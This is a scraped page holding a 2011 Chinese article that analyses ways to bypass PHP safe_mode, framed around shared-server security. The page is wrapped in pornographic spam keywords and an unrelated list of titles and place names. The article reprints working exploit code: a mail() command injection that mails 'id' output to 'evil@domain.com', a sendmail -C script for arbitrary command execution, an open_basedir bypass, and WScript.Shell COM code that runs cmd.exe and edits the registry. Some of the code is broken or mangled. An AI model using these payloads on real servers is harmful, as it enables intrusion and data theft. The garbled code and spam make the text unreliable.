• 
    

    
    

      99热精品在线国产_美女午夜性视频免费_国产精品国产高清国产av_av欧美777_自拍偷自拍亚洲精品老妇_亚洲熟女精品中文字幕_www日本黄色视频网_国产精品野战在线观看

      ?

      PHP安全模式漏洞分析

      2011-03-19 22:16:48馮碩李永義
      關(guān)鍵詞:腳本漏洞服務(wù)器

      馮碩 李永義

      1唐山廣播電視大學(xué)教學(xué)管理中心 河北 063000 2唐山廣播電視大學(xué)網(wǎng)絡(luò)中心 河北 063000

      0 前言

      PHP的安全模式即safe_mode是為了解決共享服務(wù)器安全問題而設(shè)置的,而且是惟一具有 PHP_INI_SYSTEM 屬性配置項。與magic_quotes_gpc的功能相似,safe_mode的主要功能是提高 PHP服務(wù)器的安全及性能,而且提供了比magic_quotes_gpc更為靈活、強(qiáng)大的管理功能。在多數(shù)情況下,通過修改WEB服務(wù)器層或操作系統(tǒng)層來解決安全問題存在較大難度,因此,虛擬主機(jī)服務(wù)提供商及大多數(shù)服務(wù)器管理員等都會使用PHP的Safe mode來增強(qiáng)系統(tǒng)的安全性,其增強(qiáng)內(nèi)容主要包括四個方面:(1)限制哪些命令可以被執(zhí)行;(2)限制哪些函數(shù)可以被使用;(3)基于腳本所有權(quán)和目標(biāo)文件所有權(quán)的文件訪問限制設(shè)置;(4)禁止文件上載功能等。除了可以增強(qiáng)系統(tǒng)的安全性外,PHP的Safe mode對于服務(wù)器的性能提高也有很大作用。

      1 PHP系統(tǒng)自身的漏洞

      PHP曾經(jīng)出現(xiàn)過很多漏洞,比較嚴(yán)重的是一些函數(shù)漏洞,包括curl_init、exif_read_data等函數(shù)。如果不及時修補(bǔ)漏洞,攻擊者很容易利用存在漏洞的函數(shù)突破PHP的安全限制,例如:

      (1)PHP mail()執(zhí)行指令任意漏洞: 4.0.5至4.2.2版本的PHP都存在PHP mail函數(shù)繞過safe_mode限制執(zhí)行任意命令的漏洞。從4.0.5版本開始,PHP為mail函數(shù)增加了第五個參數(shù),由于設(shè)計問題,利用這個參數(shù)可以突破 safe_mode限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號分隔開后面的shell命令就可以,如存在一個evil.php文件,內(nèi)容為:

      <?

      Mail(“foo@bar,”foo”,”bar”,””,$bar);

      ?>

      執(zhí)行如下URL:

      Foo.com/evil.php? bar=;/usr/bin/id|mail evil@domain.com

      對于4.0.6至4.2.2版PHP,要突破safe_mode限制還需要利用sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail,因此基于Windows環(huán)境的系統(tǒng)不存在這個漏洞。編輯運行如下一段代碼,就可以突破safe_mode限制執(zhí)行任意命令了:

      <?

      # 下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣

      $script="/tmp/script123";

      $cf="/tmp/cf123";

      $fd = fopen($cf, "w");

      fwrite($fd, "OQ/tmp

      Sparse=0

      R$*" . chr(9) . "$#local $@ $1 $: $1

      Mlocal, P=/bin/sh, A=sh $script");

      fclose($fd);

      $fd = fopen($script, "w");

      fwrite($fd, "rm -f $script $cf; ");

      fwrite($fd, $cmd);

      fclose($fd);

      mail("nobody", "", "", "", "-C$cf");

      ?>

      (2)PHP JPEG文件處理不正確導(dǎo)致遠(yuǎn)程任意指令執(zhí)行漏洞:2005年1月發(fā)現(xiàn)PHP在處理JPEG文件時存在問題的漏洞,影響的PHP系統(tǒng)范圍較大,包括PHP4.3.6-5.0.2多個版本。雖然及時發(fā)布了相應(yīng)的補(bǔ)丁程序,但仍然有很多未更新的系統(tǒng)存在,遠(yuǎn)程攻擊者可以利用這個漏洞,以 WEB進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意指令。導(dǎo)致這一漏洞的問題存在于exif_read_data()函數(shù)中,通過發(fā)送包含超長的“sectionname”數(shù)據(jù)的JPEG文件給支持圖像上傳的PHP應(yīng)用程序,可以導(dǎo)致發(fā)生緩沖區(qū)溢出,精心構(gòu)造提交數(shù)據(jù)可能以WEB進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意指令。

      (3)PHP cURL函數(shù)允許腳本繞過“open_basedir”目錄限制漏洞:4.0-4.3.9所有版本的PHP系統(tǒng)均存在cURL漏洞,本地攻擊者可以利用它繞過 open_basedir目錄設(shè)置,F(xiàn)raMe公布報告本地用戶可以調(diào)用cURL(liburl)函數(shù)繞過“php.ini”文件中的“open_basedir”限制??梢杂萌缦麓a實現(xiàn)突破:

      <?php

      $dir=”/tmp”;

      //Open a known directory,and proceed to read its contents

      If (is_dir($dir)){

      While(($file=readdir($dh))!==false){

      Print “filename:$file:filetype:”filetype($dir.$file).” ”;

      Closedir($dh);

      }

      }

      ?>

      除cURL函數(shù)外,還可以利用opendir函數(shù)代替系統(tǒng)的“l(fā)s”或“dir”命令。

      (4)文件屬主不受safe_mode限制漏洞:如前所述,當(dāng)被操作的文件所在的目錄的 UID和腳本 UID不一致時,safe_mode將限制其存取操作,但如果被操作的文件所在的目錄的UID和腳本UID一致時,即使該文件的UID和腳本的UID不同,也可以訪問,因此,PHP腳本屬主用戶需要詳細(xì)配置,如果使用root用戶作為腳本的屬主,那么Safe mode就完全失去意義了。

      2 Win32環(huán)境下利用COM()函數(shù)和WSH/FSO組件執(zhí)行系統(tǒng)命令

      PHP的COM函數(shù)是Windows版本的PHP系統(tǒng)特有的函數(shù),是一種允許可重用代碼使用標(biāo)準(zhǔn)常規(guī)調(diào)用同時將執(zhí)行細(xì)節(jié)隱藏在API后的技術(shù),如組件存儲在某臺計算機(jī)上,同時可對計算機(jī)執(zhí)行內(nèi)務(wù)處理。它可以被認(rèn)為是一種帶基礎(chǔ)根對象的超級遠(yuǎn)程過程調(diào)用(Remote Procedure Call, RPC)機(jī)制。COM函數(shù)促使執(zhí)行從接口中分離,同時隱藏了執(zhí)行的位置、代碼語言等細(xì)節(jié),因此它廣泛應(yīng)用在Win32環(huán)境下的軟件開發(fā)中。通過COM函數(shù),可以輕易調(diào)用WIN32下的WSH/FSO組件來執(zhí)行系統(tǒng)命令,因此,利用它突破Safe mode的限制就很容易了,實現(xiàn)代碼如下:

      <?php

      //利用COM函數(shù)執(zhí)行系統(tǒng)命令

      Function cmdrun($apli)

      {

      Global $WshShell;

      $valors=$WshShell->run($apli);

      Return($valors);

      }

      //操作注冊表

      Function rtv_registre($aplicacio,$nom)

      {

      Global $WshShell;

      $registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;

      $valor=$WshShell->RegRead($registre);

      Return($valor);

      }

      Function put_registre($aplicacio,$nom,$valor,$tipus=”REG_SZ”)

      {

      Global $WshShell;

      $registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;

      $retorn=$WshShell->RegWrite($registre,$valor,$tipus);

      Return($retorn);

      }

      //載入WScript.Shell

      $WshShell=new COM(“WScript.Shell”);

      $a=rtv_registre(“wom”,”location”);

      Echo $a.”<br>”;

      //指定執(zhí)行命令

      $b=cmdrun(“cmd.exe /c dir e:\>a.txt”);

      Echo $b;

      //載入Scripting.FileSysytemObject

      $exFSO=new COM(“Scripting.FileSystemObject”) or die(“Could not create Scripting.FileSystemObject”);

      $myDir=”./”;

      $myFile=”a.txt”;

      $exDir=$exFSO->GetFolder($myDir);

      $exFile=$exFSO->Getfile($myFile);

      Echo $exDir->ShortPath;

      Echo $exFile->ShortPath;

      ?>

      3 dl()/Java Integration

      使用 dl()可以動態(tài)地載入用戶編寫的擴(kuò)展模塊,而Java擴(kuò)展模塊是實驗性的,其行為,包括其函數(shù)的名稱及其它任何關(guān)于此模塊的文檔可能在沒有通知的情況下隨 PHP以后的發(fā)布而改變,因此,PHP官方網(wǎng)站提醒用戶在使用本擴(kuò)展模塊時要自已擔(dān)負(fù)風(fēng)險。

      4 結(jié)語

      雖然在PHP中的Safe mode并非萬能的,但最好還是在服務(wù)器上打開安全模式,從而在一定程度上避免一些未知的攻擊。但是,對程序員來說,啟用Safe mode會有很多限制,特別是與系統(tǒng)相關(guān)的一些操作,如文件打開函數(shù)、命令執(zhí)行函數(shù)等,使用起來均比較麻煩,而且源代碼要做很多調(diào)整才能正常使用,因此,是否開啟Safe mode模式,應(yīng)該綜合考慮,詳細(xì)配置安全計劃。

      [1]kevin.Windows的COM 支持函數(shù)庫.2001.4.http://www.phpe.net/manual/ref.com.php.

      [2]Image圖像函數(shù)(Image Processing and GD).http://cn2.php.net/gd.

      猜你喜歡
      腳本漏洞服務(wù)器
      酒駕
      漏洞
      安奇奇與小cool 龍(第二回)
      通信控制服務(wù)器(CCS)維護(hù)終端的設(shè)計與實現(xiàn)
      數(shù)據(jù)庫系統(tǒng)shell腳本應(yīng)用
      電子測試(2018年14期)2018-09-26 06:04:24
      快樂假期
      得形忘意的服務(wù)器標(biāo)準(zhǔn)
      三明:“兩票制”堵住加價漏洞
      漏洞在哪兒
      兒童時代(2016年6期)2016-09-14 04:54:43
      計算機(jī)網(wǎng)絡(luò)安全服務(wù)器入侵與防御
      班戈县| 边坝县| 星子县| 辉县市| 清涧县| 平遥县| 乐都县| 哈密市| 淮阳县| 铜鼓县| 阿合奇县| 新巴尔虎左旗| 安远县| 博客| 五大连池市| 福鼎市| 岳普湖县| 丘北县| 漠河县| 兴仁县| 平果县| 安丘市| 苗栗县| 大石桥市| 铁岭市| 安达市| 营山县| 德惠市| 宜城市| 明星| 台北县| 保亭| 天水市| 武川县| 尼木县| 保定市| 铅山县| 双城市| 景宁| 师宗县| 闸北区|